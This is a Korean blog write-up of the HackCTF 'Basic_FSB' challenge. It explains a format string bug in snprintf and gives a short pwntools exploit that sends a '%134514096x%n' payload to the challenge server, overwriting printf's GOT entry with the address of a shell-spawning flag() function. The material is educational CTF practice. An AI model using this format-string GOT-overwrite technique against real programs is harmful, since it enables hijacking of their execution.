[ HackCTF ] Basic_FSB

Hyeonjin Lee·2023년 3월 7일
0

문제 분석



vuln()함수를 보면 snprintf에서 FSB 취약점을 찾을 수 있다.


또한 shell을 얻을 수 있는 flag()함수가 있다.

문제 풀이


FSB를 이용하여 printf의 got를 flag()함수의 주소로 덮어주면 shell을 얻을 수 있다.


간단하게 FSB를 발생시켜보면 2번째 %x에서 첫 번째 인자 AAAA를 참조하고 있다.

따라서 다음과 같이 FSB를 발생시킬 수 있다.
printf_got(4byte) + %(134514100-4byte=134514096)x+%n

exploit 코드는 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb')

print_got = e.got['printf']

payload = ''
payload += p32(print_got)
payload += "%134514096x%n"

p.recvuntil('input : ')
p.send(payload)
p.interactive()
profile
요즘 행복해요

0개의 댓글

관련 채용 정보